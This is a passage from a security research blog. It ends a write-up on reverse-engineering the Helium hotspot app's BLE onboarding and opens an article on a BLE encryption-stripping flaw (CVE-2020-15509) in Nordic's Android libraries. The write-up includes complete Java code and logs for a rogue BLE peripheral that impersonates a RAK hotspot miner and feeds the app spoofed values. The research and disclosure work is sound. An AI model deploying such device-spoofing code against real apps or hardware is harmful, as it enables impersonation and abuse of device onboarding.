        navigation.goBack()
        return
      }
&#8203;
      // check firmware
      const hasCurrentFirmware = await checkFirmwareCurrent()
      if (!hasCurrentFirmware) {
        navigation.navigate('FirmwareUpdateNeededScreen')
        return
      }
&#8203;
      // scan for wifi networks
      const networks = uniq((await scanForWifiNetworks()) || [])
      const connectedNetworks = uniq((await scanForWifiNetworks(true)) || [])
&#8203;
      // navigate to next screen
      navigation.replace('HotspotSetupPickWifiScreen', {
        networks,
        connectedNetworks,
      })
    })
&#8203;
    return unsubscribe
    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [])</code></pre><p>The app begins by connecting to the hotspot and retrieving its current configuration. It then checks a few key details, such as the firmware version. If everything looks valid, it proceeds to scan for available WiFi networks. Once the scan is complete, the app updates the interface to show a screen listing the detected networks.</p><p>Checking firmware: (located in useHotspot.ts)</p><pre><code>  const checkFirmwareCurrent = async (): Promise&lt;boolean&gt; =&gt; {
    if (!connectedHotspot.current) return false
&#8203;
    const characteristic = FirmwareCharacteristic.FIRMWAREVERSION_UUID
    const charVal = await findAndReadCharacteristic(
      characteristic,
      connectedHotspot.current,
      Service.FIRMWARESERVICE_UUID,
    )
    if (!charVal) return false
&#8203;
    const deviceFirmwareVersion = parseChar(charVal, characteristic)
&#8203;
    const firmware: { version: string } = await getStaking('firmware')
    const { version: minVersion } = firmware
&#8203;
    dispatch(
      connectedHotspotSlice.actions.setConnectedHotspotFirmware({
        version: deviceFirmwareVersion,
        minVersion,
      }),
    )
    return compareVersions.compare(deviceFirmwareVersion, minVersion, '&gt;=')
  }</code></pre><p>It seems there is a comparison of the firmware version at the end of the function. That shouldn&#8217;t be hard to bypass, as it is a numerical comparison. The firmware version must be greater or equal to the minVersion, whatever that is.</p><p>The minVersion is retrieved when getStaking(&#8216;firmware&#8217;) is invoked:</p><pre><code>export const getStaking = async (url: string) =&gt; makeRequest(url)</code></pre><p>It&#8217;s clear from the code that this is a web request. While monitoring the network traffic, an interesting request was observed. However, the server response did not indicate a successful operation.</p><pre><code>GET /app/hotspots/V2hhdGV2ZX HTTP/1.1
authorization: Basic ...
Host: onboarding.dewi.org
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.14.4</code></pre><p>Response:</p><pre><code>HTTP/1.1 500 Internal Server Error
Server: Cowboy
Connection: close
X-Powered-By: Express
Strict-Transport-Security: max-age=31557600
Content-Type: application/json; charset=utf-8
Content-Length: 106
Etag: W/"6a-fHVDtXb9Hwi2pUWYpbWkUithBb4"
Vary: Accept-Encoding
Date: Fri, 12 Feb 2021 17:35:52 GMT
Via: 1.1 vegur
&#8203;
{"code":500,"errorMessage":"Cannot read property 'Maker' of null","errors":[],"data":null,"success":false}</code></pre><p>Decoding the hostspot name sent in request:</p><pre><code>echo -n "V2hhdGV2ZX==" | base64 -d
Whateve</code></pre><p>That value matched part of what was previously set in one of the three characteristics on the rogue BLE device.</p><p>Next, valid SSIDs needed to be created. It's likely that the application compares these SSIDs against networks visible to both the Helium device (in this case, the rogue one) and the mobile phone. So, they must be real and available during the setup process.</p><p>Below is the code used to configure the BLE:Bit tool as the rogue station:</p><pre><code>// Avail SSIDs
if (characteristic.getUUID().toString().equals("d7515033-7e7b-45be-803f-c8737b171a29"))
{
    System.out.println("Setting Avail SSIDs...");
    try {
        // Build Protobuf
        WifiServices.wifi_services_v1.Builder builder = WifiServices.wifi_services_v1.newBuilder();
        List&lt;String&gt; ssids = new ArrayList&lt;&gt;();
        ssids.add("MyWifiAPName:)");
        builder.addAllServices(ssids);
        // Encode to protobuf and then base64
        byte[] encoded = Base64.getEncoder().encode(builder.build().toByteArray());
        // prepare data for transmission
        authorized_Data.setAuthorizedData(encoded, encoded.length);
&#8203;
    }catch(IOException ioex) {
    System.err.println(ioex.getMessage());
    }
}</code></pre><pre><code>Device Connected - Client Address: 6b:30:56:c6:70:e9 PRIVATE
Connected
Setting SSID...
Read[WiFi_SSID]: 53..MYAPNAME..30
Setting PubKey...
Read[PUBKey]: 563268686444493d
Setting OnBoarding Key...
Read[OnBoarding_Key]: 5632686864444d3d
Setting Avail SSIDs...
Read[Avail_SSIDs]: 4367..AVAIL_WIFIS..13d</code></pre><p>Based on the source code, we expect the onboardkey to be retrieved by the application. However, no such read request has been observed via the BLE:Bit.</p><p>Application Source code regarding OnBoardKey:</p><pre><code>&#8203;
  // helium hotspot uses b58 onboarding address and RAK is uuid v4
  const getHotspotType = (onboardingAddress: string): HotspotType =&gt;
    validator.isUUID(addUuidDashes(onboardingAddress)) ? 'RAK' : 'Helium'
&#8203;
  const addUuidDashes = (s = '') =&gt;
    `${s.substr(0, 8)}-${s.substr(8, 4)}-${s.substr(12, 4)}-${s.substr(
      16,
      4,
    )}-${s.substr(20)}`
&#8203;
  const getHotspotName = (type: HotspotType): HotspotName =&gt; {
    switch (type) {
      case 'RAK':
        return 'RAK Hotspot Miner'
      default:
      case 'Helium':
        return 'Helium Hotspot'
    }
  }</code></pre><pre><code>const type = getHotspotType(onboardingAddress || '')</code></pre><p>The code shows that the onboarding key must be a 128-bit UUID in raw bytes. However, even when this condition is met, the process doesn't move forward. Instead, the app reports that no WiFi networks were found.</p><p>This seemed unusual, so the next step was to disable WiFi on the mobile device and try the process again to observe any differences.</p><pre><code>Connected
Setting SSID...
Read[WiFi_SSID]: 53..MYAPNAME..30
Setting PubKey...
Read[PUBKey]: 563268686444493d
Setting OnBoarding Key...
Read[OnBoarding_Key]: 5a4463314d5455774d7a4d335a5464694e4456695a513d3d
Setting OnBoarding Key...
Read[OnBoarding_Key]: 5a4463314d5455774d7a4d335a5464694e4456695a513d3d
Setting Avail SSIDs...
Read[Avail_SSIDs]: 4367..AVAIL_WIFIS..13d</code></pre><p>As suspected, the app is looking for an internet connection. So the application is waiting for the server to respond when the onBoardkingKey is used! Then, it continues with BLE operations.</p><p>This is where we stop because the research took enough of our time, more than we were willing to allocate. </p><h2>Conclusions</h2><p>The process of connecting to a BLE device was successfully reverse-engineered without needing the actual hardware. The required services and characteristics were recreated, and appropriate values were identified and placed correctly to allow the Helium app to proceed with the connection flow.</p><p>Sometimes, the process becomes more difficult&#8212;especially when dealing with React Native apps and no open-source code is available. While that doesn't make reverse engineering impossible, it does raise the level of effort and complexity required.</p><p>A rogue BLE peripheral was successfully created, which tricked the Helium app into providing the expected values. These values could then be used to communicate with the server.</p><p>The next logical step would be to scan for a real Helium device and extract its onboarding key, which could then be passed to the server to simulate a real setup. In theory, the entire flow and behavior could also be analyzed through further reverse engineering, without needing direct interaction with the server.</p><p>Below you may find the code used to explore the Helium System (BLE:Bit SDK 1.6, BLE:Bit Tool 1.0):</p><pre><code><code>import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.List;
import java.util.Scanner;
import java.util.UUID;

import com.fazecast.jSerialComm.SerialPort;

import cybervelia.sdk.controller.BLECharacteristic;
import cybervelia.sdk.controller.BLEService;
import cybervelia.sdk.controller.ce.CEBLEDeviceCallbackHandler;
import cybervelia.sdk.controller.ce.CEController;
import cybervelia.sdk.controller.pe.AdvertisementData;
import cybervelia.sdk.controller.pe.AuthorizedData;
import cybervelia.sdk.controller.pe.NotificationValidation;
import cybervelia.sdk.controller.pe.PEBLEDeviceCallbackHandler;
import cybervelia.sdk.controller.pe.PEConnectionParameters;
import cybervelia.sdk.controller.pe.PEController;
import cybervelia.sdk.controller.pe.callbacks.BondingCallback;
import cybervelia.sdk.controller.pe.callbacks.PEConnectionCallback;
import cybervelia.sdk.controller.pe.callbacks.PENotificationDataCallback;
import cybervelia.sdk.controller.pe.callbacks.PEReadCallback;
import cybervelia.sdk.controller.pe.callbacks.PEWriteEventCallback;
import cybervelia.sdk.types.BLEAttributePermission;
import cybervelia.sdk.types.ConnectionTypesCommon;
import cybervelia.sdk.types.ConnectionTypesCommon.AddressType;
import cybervelia.sdk.types.ConnectionTypesPE;


public class HeliumExplore {
&#9;static boolean debugging = true;
&#9;static PEBLEDeviceCallbackHandler mypecallbackHandler = null;
&#9;static PEController pe;
&#9;static HashMap&lt;String, String&gt; mapUuidDescription = new HashMap&lt;&gt;();
&#9;
&#9;public static void main(String ...args) {
&#9;&#9;connectToDevice();
&#9;&#9;handleDevice();
&#9;}
&#9;
&#9;
&#9;
&#9;
&#9;private static String startComm(String device)
&#9;{
&#9;&#9;SerialPort[] sp = SerialPort.getCommPorts();
&#9;&#9;String com_port = null;
&#9;&#9;for(SerialPort s : sp)
&#9;&#9;{
&#9;&#9;&#9;System.out.println(s.getDescriptivePortName());
&#9;&#9;&#9; if (s.getDescriptivePortName().indexOf(device) &gt;= 0)
&#9;&#9;&#9; {
&#9;&#9;&#9;&#9; com_port = s.getSystemPortName();
&#9;&#9;&#9; }
&#9;&#9;}
&#9;&#9;
&#9;&#9;System.out.println("PE Opening: " + com_port);
&#9;&#9;
&#9;&#9;if (com_port == null)
&#9;&#9;{
&#9;&#9;&#9;System.err.println("COM Port does not exist");
&#9;&#9;&#9;System.exit(1);
&#9;&#9;}
&#9;&#9;
&#9;&#9;return com_port;
&#9;}
&#9;
&#9;/* Identify BLE:Bit devices */
&#9;private static String[] findPorts() {
&#9;&#9;ArrayList&lt;String&gt; portsFound = new ArrayList&lt;String&gt;();
&#9;&#9;
&#9;&#9;SerialPort[] sp = SerialPort.getCommPorts();
&#9;&#9;for(SerialPort s : sp)
&#9;&#9;{
&#9;&#9;&#9;if (!debugging &amp;&amp; (s.getDescriptivePortName().toLowerCase().contains("cp210x") &amp;&amp; System.getProperty("os.name").startsWith("Windows")))
&#9;&#9;&#9;&#9;portsFound.add(s.getSystemPortName());
&#9;&#9;&#9;else if (!debugging &amp;&amp; (s.getDescriptivePortName().toLowerCase().contains("cp210x") &amp;&amp; System.getProperty("os.name").startsWith("Linux")))
&#9;&#9;&#9;&#9;portsFound.add(s.getSystemPortName());
&#9;&#9;&#9;else if (debugging  &amp;&amp; System.getProperty("os.name").startsWith("Windows") &amp;&amp; (s.getDescriptivePortName().contains("Prolific") || s.getDescriptivePortName().contains("USB Serial Port")))
&#9;&#9;&#9;&#9;portsFound.add(s.getSystemPortName());
&#9;&#9;&#9;else if (debugging  &amp;&amp; System.getProperty("os.name").startsWith("Linux") &amp;&amp; (s.getDescriptivePortName().contains("pl2303") || s.getDescriptivePortName().contains("ftdi_sio")))
&#9;&#9;&#9;&#9;portsFound.add(s.getSystemPortName());
&#9;&#9;}
&#9;&#9;
&#9;&#9;String[] ports = new String[portsFound.size()];
&#9;&#9;for(int i = 0; i&lt;portsFound.size(); ++i)
&#9;&#9;{
&#9;&#9;&#9;ports[i] = portsFound.get(i);
&#9;&#9;&#9;System.out.println("ADDED: " + ports[i]);
&#9;&#9;}
&#9;&#9;
&#9;&#9;return ports;
&#9;}
&#9;
&#9;public static void connectToDevice() {
&#9;&#9;// Print Available Communication channels
&#9;&#9;SerialPort[] sp = SerialPort.getCommPorts();
&#9;&#9;for(SerialPort s : sp)
&#9;&#9;&#9;System.out.println(s.getSystemPortName() + " - " + s.getDescriptivePortName());
&#9;&#9;System.out.println(" --------------- ");
&#9;&#9;
&#9;&#9;// Find and print available serial ports
&#9;&#9;String[] fports = findPorts();
&#9;&#9;
&#9;&#9;System.err.println("Devices Found: " + fports.length);
&#9;&#9;
&#9;&#9;
&#9;&#9;// Initialise CE &amp; PC
&#9;&#9;try {
&#9;&#9;&#9;mypecallbackHandler = new PEBLEDeviceCallbackHandler();
&#9;&#9;&#9;pe = new PEController(fports[0], mypecallbackHandler);
&#9;&#9;&#9;
&#9;&#9;&#9;if (!pe.isInitializedCorrectly())
&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;System.err.println("Not a BLEBit PE");
&#9;&#9;&#9;&#9;System.exit(1);
&#9;&#9;&#9;}
&#9;&#9;&#9;
&#9;&#9;}catch(IOException ioex) {
&#9;&#9;&#9;System.err.println("Failed to initialize pe and ce: " + ioex.getMessage());
&#9;&#9;&#9;System.exit(1);
&#9;&#9;}
&#9;&#9;
&#9;&#9;System.out.println("SDK Version: " + ConnectionTypesCommon.getSDKVersion());
&#9;&#9;System.out.println("PE FW Version: " + pe.getFirmwareVersion());
&#9;&#9;
&#9;&#9;
&#9;}
&#9;
&#9;
&#9;private static void handleDevice()
&#9;{
&#9;&#9;try {
&#9;&#9;&#9;
&#9;&#9;&#9;mypecallbackHandler.installConnectionCallback(new PEConnectionCallback() {

&#9;&#9;&#9;&#9;@Override
&#9;&#9;&#9;&#9;public void disconnected(int reason) {
&#9;&#9;&#9;&#9;&#9;System.out.println("Disconnected");
&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;
&#9;&#9;&#9;&#9;@Override
&#9;&#9;&#9;&#9;public void connected(AddressType address_type, String address) {
&#9;&#9;&#9;&#9;&#9;System.out.println("Connected");
&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;
&#9;&#9;&#9;});
&#9;&#9;&#9;
&#9;&#9;&#9;mypecallbackHandler.installWriteCallback(new PEWriteEventCallback() {

&#9;&#9;&#9;&#9;@Override
&#9;&#9;&#9;&#9;public void writeEvent(BLECharacteristic characteristic, byte[] data, int data_size, boolean is_cmd,
&#9;&#9;&#9;&#9;&#9;&#9;short handle) {
&#9;&#9;&#9;&#9;&#9;if (characteristic != null)
&#9;&#9;&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;&#9;&#9;System.out.print("Write["+mapUuidDescription.get(characteristic.getUUID().toString())+"]: ");
&#9;&#9;&#9;&#9;&#9;&#9;for(int i=0;i&lt;data_size;++i)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;System.out.print(String.format("%02x", data[i]));
&#9;&#9;&#9;&#9;&#9;&#9;System.out.println();
&#9;&#9;&#9;&#9;&#9;}else
&#9;&#9;&#9;&#9;&#9;&#9;System.out.println("Characteristic object not found");
&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;
&#9;&#9;&#9;});
&#9;&#9;&#9;
&#9;&#9;&#9;mypecallbackHandler.installReadCallback(new PEReadCallback() {

&#9;&#9;&#9;&#9;@Override
&#9;&#9;&#9;&#9;public boolean authorizeRead(BLECharacteristic characteristic, byte[] data, int data_len,
&#9;&#9;&#9;&#9;&#9;&#9;AuthorizedData authorized_Data) {
&#9;&#9;&#9;&#9;&#9;
&#9;&#9;&#9;&#9;&#9;if (characteristic != null)
&#9;&#9;&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;&#9;&#9;// Wifi SSID
&#9;&#9;&#9;&#9;&#9;&#9;if (characteristic.getUUID().toString().equals("7731de63-bc6a-4100-8ab1-89b2356b038b"))
&#9;&#9;&#9;&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;&#9;&#9;&#9;System.out.println("Setting SSID...");
&#9;&#9;&#9;&#9;&#9;&#9;&#9;try {
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;String ssid = "MyAPsSSID";
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;byte encoded[] = Base64.getEncoder().encode(ssid.getBytes());
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;authorized_Data.setAuthorizedData(encoded, encoded.length);
&#9;&#9;&#9;&#9;&#9;&#9;&#9;}catch(IOException ioex) {
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;System.err.println(ioex.getMessage());
&#9;&#9;&#9;&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;&#9;&#9;
&#9;&#9;&#9;&#9;&#9;&#9;// Public Key
&#9;&#9;&#9;&#9;&#9;&#9;if (characteristic.getUUID().toString().equals("0a852c59-50d3-4492-bfd3-22fe58a24f01"))
&#9;&#9;&#9;&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;&#9;&#9;&#9;System.out.println("Setting PubKey...");
&#9;&#9;&#9;&#9;&#9;&#9;&#9;try {
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;String value = "What2";
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;byte[] encoded = Base64.getEncoder().encode(value.getBytes());
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;authorized_Data.setAuthorizedData(encoded, encoded.length);
&#9;&#9;&#9;&#9;&#9;&#9;&#9;}catch(IOException ioex) {
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;System.err.println(ioex.getMessage());
&#9;&#9;&#9;&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;&#9;&#9;
&#9;&#9;&#9;&#9;&#9;&#9;// OnBoarding Key
&#9;&#9;&#9;&#9;&#9;&#9;if (characteristic.getUUID().toString().equals("d083b2bd-be16-4600-b397-61512ca2f5ad"))
&#9;&#9;&#9;&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;&#9;&#9;&#9;System.out.println("Setting OnBoarding Key...");
&#9;&#9;&#9;&#9;&#9;&#9;&#9;try {
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;String value = "d75150337e7b45be";
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;byte encoded[] = Base64.getEncoder().encode(value.getBytes());
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;authorized_Data.setAuthorizedData(encoded, encoded.length);
&#9;&#9;&#9;&#9;&#9;&#9;&#9;}catch(IOException ioex) {
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;System.err.println(ioex.getMessage());
&#9;&#9;&#9;&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;&#9;&#9;
&#9;&#9;&#9;&#9;&#9;&#9;// Avail SSIDs
&#9;&#9;&#9;&#9;&#9;&#9;if (characteristic.getUUID().toString().equals("d7515033-7e7b-45be-803f-c8737b171a29"))
&#9;&#9;&#9;&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;&#9;&#9;&#9;System.out.println("Setting Avail SSIDs...");
&#9;&#9;&#9;&#9;&#9;&#9;&#9;try {
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;WifiServices.wifi_services_v1.Builder builder = WifiServices.wifi_services_v1.newBuilder();
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;List&lt;String&gt; ssids = new ArrayList&lt;&gt;();
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;ssids.add("MyAPsSSID:)-Put yours here");
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;builder.addAllServices(ssids);
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;byte[] encoded = Base64.getEncoder().encode(builder.build().toByteArray());
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;authorized_Data.setAuthorizedData(encoded, encoded.length);
&#9;&#9;&#9;&#9;&#9;&#9;&#9;}catch(IOException ioex) {
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;System.err.println(ioex.getMessage());
&#9;&#9;&#9;&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;&#9;&#9;
&#9;&#9;&#9;&#9;&#9;&#9;// Print data
&#9;&#9;&#9;&#9;&#9;&#9;System.out.print("Read["+mapUuidDescription.get(characteristic.getUUID().toString())+"]: ");
&#9;&#9;&#9;&#9;&#9;&#9;if (authorized_Data.getAuthorizedDataLength() == 0)
&#9;&#9;&#9;&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;&#9;&#9;&#9;for(int i=0;i&lt;data_len;++i)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;System.out.print(String.format("%02x", data[i]));
&#9;&#9;&#9;&#9;&#9;&#9;&#9;System.out.println();
&#9;&#9;&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;&#9;{
&#9;&#9;&#9;&#9;&#9;&#9;&#9;for(int i=0;i&lt;authorized_Data.getAuthorizedDataLength();++i)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;System.out.print(String.format("%02x", authorized_Data.getAuthorizedData()[i]));
&#9;&#9;&#9;&#9;&#9;&#9;&#9;System.out.println();
&#9;&#9;&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;&#9;}else
&#9;&#9;&#9;&#9;&#9;&#9;System.out.println("Characteristic object not found");
&#9;&#9;&#9;&#9;&#9;
&#9;&#9;&#9;&#9;&#9;// Send data
&#9;&#9;&#9;&#9;&#9;return true;
&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;
&#9;&#9;&#9;&#9;@Override
&#9;&#9;&#9;&#9;public void readEvent(BLECharacteristic characteristic, byte[] data, int data_len) {
&#9;&#9;&#9;&#9;&#9;// ignored
&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;
&#9;&#9;&#9;});
&#9;&#9;&#9;
&#9;&#9;&#9;mypecallbackHandler.installNotificationDataCallback(new PENotificationDataCallback() {

&#9;&#9;&#9;&#9;@Override
&#9;&#9;&#9;&#9;public void notification_event(BLECharacteristic char_used, NotificationValidation validation) {
&#9;&#9;&#9;&#9;&#9;if (validation == NotificationValidation.NOTIFICATION_ENABLED || validation == NotificationValidation.INDICATION_ENABLED)
&#9;&#9;&#9;&#9;&#9;&#9;System.out.println(mapUuidDescription.get(char_used.getUUID().toString()) + " NOTIFY enabled");
&#9;&#9;&#9;&#9;}
&#9;&#9;&#9;&#9;
&#9;&#9;&#9;});
&#9;&#9;&#9;
&#9;&#9;&#9;pe.sendConnectionParameters(new PEConnectionParameters());
&#9;&#9;&#9;pe.sendDeviceName("RAK Hotspot Miner");
&#9;&#9;&#9;pe.configurePairing(ConnectionTypesCommon.PairingMethods.NO_IO, null);
&#9;&#9;&#9;pe.sendBluetoothDeviceAddress("ea:bc:cc:11:33:13", ConnectionTypesCommon.BITAddressType.STATIC_PRIVATE);&#9;&#9;&#9;
&#9;&#9;&#9;pe.disableAdvertisingChannels(ConnectionTypesPE.ADV_CH_38 | ConnectionTypesPE.ADV_CH_39);
&#9;&#9;&#9;pe.sendAdvIntervalTU(100);
&#9;&#9;&#9;pe.setFirmwareRevision("10");
&#9;&#9;&#9;
&#9;&#9;&#9;System.out.println("FW VER: " + pe.getFirmwareVersion());
&#9;&#9;&#9;
&#9;&#9;&#9;// Add BLE Services
&#9;&#9;&#9;
&#9;&#9;&#9;BLEService main_uuid = new BLEService(UUID.fromString("0fda92b2-44a2-4af2-84f5-fa682baa2b8d").toString());
&#9;&#9;&#9;
&#9;&#9;&#9;
&#9;&#9;&#9;// Create Advertisement Data
&#9;&#9;&#9;
&#9;&#9;&#9;AdvertisementData adv_data = new AdvertisementData();
&#9;&#9;&#9;
&#9;&#9;&#9;adv_data.setFlags(AdvertisementData.FLAG_LE_GENERAL_DISCOVERABLE_MODE | AdvertisementData.FLAG_ER_BDR_NOT_SUPPORTED);
&#9;&#9;&#9;adv_data.addServiceUUIDComplete(main_uuid);
&#9;&#9;&#9;
&#9;&#9;&#9;AdvertisementData scan_data = new AdvertisementData();
&#9;&#9;&#9;scan_data.includeDeviceName();
&#9;&#9;&#9;
&#9;&#9;&#9;
&#9;&#9;&#9;
&#9;&#9;&#9;// Add BLE Characteristic 
&#9;&#9;&#9;
&#9;&#9;&#9;addBLEChar("7731de63-bc6a-4100-8ab1-89b2356b038b", main_uuid, "WiFi_SSID"); 
&#9;&#9;&#9;addBLEChar("0a852c59-50d3-4492-bfd3-22fe58a24f01", main_uuid, "PUBKey"); 
&#9;&#9;&#9;addBLEChar("d083b2bd-be16-4600-b397-61512ca2f5ad", main_uuid, "OnBoarding_Key"); 
&#9;&#9;&#9;addBLEChar("d7515033-7e7b-45be-803f-c8737b171a29", main_uuid, "Avail_SSIDs"); 
&#9;&#9;&#9;addBLEChar("e125bda4-6fb8-11ea-bc55-0242ac130003", main_uuid, "WiFi_Configured"); 
&#9;&#9;&#9;addBLEChar("8cc6e0b3-98c5-40cc-b1d8-692940e6994b", main_uuid, "WiFi_Remove"); 
&#9;&#9;&#9;addBLEChar("398168aa-0111-4ec0-b1fa-171671270608", main_uuid, "WiFi_Connect");
&#9;&#9;&#9;addBLEChar("df3b16ca-c985-4da2-a6d2-9b9b9abdb858", main_uuid, "Add_Gateway");
&#9;&#9;&#9;addBLEChar("d435f5de-01a4-4e7d-84ba-dfd347f60275", main_uuid, "Assert_LOC"); 
&#9;&#9;&#9;addBLEChar("b833d34f-d871-422c-bf9e-8e6ec117d57e", main_uuid, "Diagnostics");
&#9;&#9;&#9;addBLEChar("e5866bd6-0288-4476-98ca-ef7da6b4d289", main_uuid, "Ethernet_Online");
&#9;&#9;&#9;
&#9;&#9;&#9;
&#9;&#9;&#9;// Send settings
&#9;&#9;&#9;
&#9;&#9;&#9;pe.sendBLEService(main_uuid);
&#9;&#9;&#9;pe.sendAdvertisementData(adv_data);
&#9;&#9;&#9;pe.sendScanData(scan_data);
&#9;&#9;&#9;pe.eraseBonds();
&#9;&#9;&#9;pe.finishSetup();
&#9;&#9;&#9;
&#9;&#9;&#9;
&#9;&#9;&#9;
&#9;&#9;&#9;System.out.println("Ready for reset - PRESS ENTER");
&#9;&#9;&#9;Scanner scanner = new Scanner(System.in);
&#9;&#9;&#9;scanner.nextLine();
&#9;&#9;&#9;
&#9;&#9;&#9;pe.terminate();
&#9;&#9;&#9;
&#9;&#9;&#9;
&#9;&#9;}catch(IOException e) {
&#9;&#9;&#9;System.err.println(e.getMessage());
&#9;&#9;}
&#9;}&#9;
&#9;
&#9;public static void addBLEChar(String uuid, BLEService service, String description) throws IOException {
&#9;&#9;byte[] value = new byte[10];
&#9;&#9;for(int i = 0; i&lt;10; ++i) value[i] = 0;
&#9;&#9;
&#9;&#9;String uuid_char = UUID.fromString(uuid).toString();
&#9;&#9;BLECharacteristic bCharacteristic = new BLECharacteristic(uuid_char, value);
&#9;&#9;bCharacteristic.enableRead();
&#9;&#9;bCharacteristic.enableWriteCMD();
&#9;&#9;bCharacteristic.enableWrite();
&#9;&#9;bCharacteristic.setMaxValueLength(31);
&#9;&#9;bCharacteristic.setValueLengthVariable(true);
&#9;&#9;bCharacteristic.enableNotification();
&#9;&#9;bCharacteristic.enableHookOnRead();
&#9;&#9;bCharacteristic.setAttributePermissions(BLEAttributePermission.OPEN, BLEAttributePermission.OPEN);
&#9;&#9;service.addCharacteristic(bCharacteristic);
&#9;&#9;mapUuidDescription.put(uuid, description);
&#9;}
&#9;
&#9;
}
</code></code></pre><p>Categories</p>]]></content:encoded></item><item><title><![CDATA[Disabling BLE Encryption Without the App Noticing - (CVE-2020–15509)]]></title><description><![CDATA[How We Silently Disabled BLE Encryption in Nordic Semiconductor&#8217;s Most Widely Used BLE Library.]]></description><link>https://blog.cybervelia.com/p/norec-attack-stripping-ble-encryption</link><guid isPermaLink="false">https://blog.cybervelia.com/p/norec-attack-stripping-ble-encryption</guid><dc:creator><![CDATA[Theodoros Danos]]></dc:creator><pubDate>Tue, 29 Aug 2023 20:01:41 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/6d364602-aa27-452c-9c23-de187d3f7631_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This article describes a vulnerability I discovered in a widely used Android library, one that forms the foundation of many Android applications. The issue becomes exploitable because of the way this library interacts with an existing Android bug, and together they create a security weakness that would not exist independently.</p><p><em>[Article resurrected from our previous blog]</em></p><h1>Bluetooth Low Energy: The Bond</h1><p>Many modern applications want to encrypt their communication in order to protect the confidentiality of the data being exchanged. In Bluetooth Low Energy, encryption requires a preceding process known as bonding. When two devices are bonded, they exchange Long Term Keys, and from that point on their communication is encrypted.</p><p>The strength of this protection will be discussed in a separate article, but for now we assume that BLE provides a reasonable level of security. It is also important to note that bonding is optional, and it must be initiated by one of the two paired devices. Without bonding, no long-term encryption keys are stored and the communication remains unprotected.</p><h1>Using Android API to Bond as a Central Device: The Confusion</h1><p>An Android developer can call the function createBond() to establish a bond with a BLE device. In theory, this function should return true when bonding succeeds. Unfortunately, there is a long-standing confusion in the Android API, which I have already reported to Google. When both devices already have the bonding keys stored and reuse those keys in a future bonding event, the function returns false, even though the bonding process completes successfully and the communication is encrypted.</p><p>This behavior misleads developers into believing that bonding has failed, while in reality, the devices have securely bonded and are communicating with encryption enabled.</p><h1>Standing on the shoulders of vulnerable giants</h1><p>Nordic Semiconductor has created a very useful and easy to use Android library that simplifies Bluetooth Low Energy communication for developers. However, I discovered a vulnerability in this library that allows an attacker to strip BLE encryption, while the user is led to believe that the communication is still protected. This happens because the library handles certain bonding and encryption states incorrectly, creating a false sense of security.</p><p>Two libraries of Nordic&#8217;s Semiconductors are affected:</p><ul><li><p><a href="https://github.com/NordicSemiconductor/Android-BLE-Library">https://github.com/NordicSemiconductor/Android-BLE-Library</a></p></li><li><p><a href="https://github.com/NordicSemiconductor/Android-DFU-Library">https://github.com/NordicSemiconductor/Android-DFU-Library</a></p></li></ul><p>The Android-BLE-Library is used by developers to handle BLE Connections.<br>The Android-DFU-Library is used by developers to upgrade their BLE firmware over the air.</p><p>I tested several random BLE applications that use BLE bonding, and that rely on the specific bonding function provided by the Nordic library. The applications I examined are listed below:</p><ul><li><p>LINKA (An application for a ~$200 Smart Bike Lock) &#8212; com.linka.lockapp.aos</p></li><li><p>Smart Lock &#8212; services.singularity.smartlock</p></li><li><p>Noke (A ~$60 smart lock) &#8212; com.fuzdesigns.noke</p></li><li><p>MiLocks BLE &#8212; tw.auther.milocks_ble</p></li><li><p>nRF Connect (nordic&#8217;s product)</p></li><li><p>Mi Home &#8212; 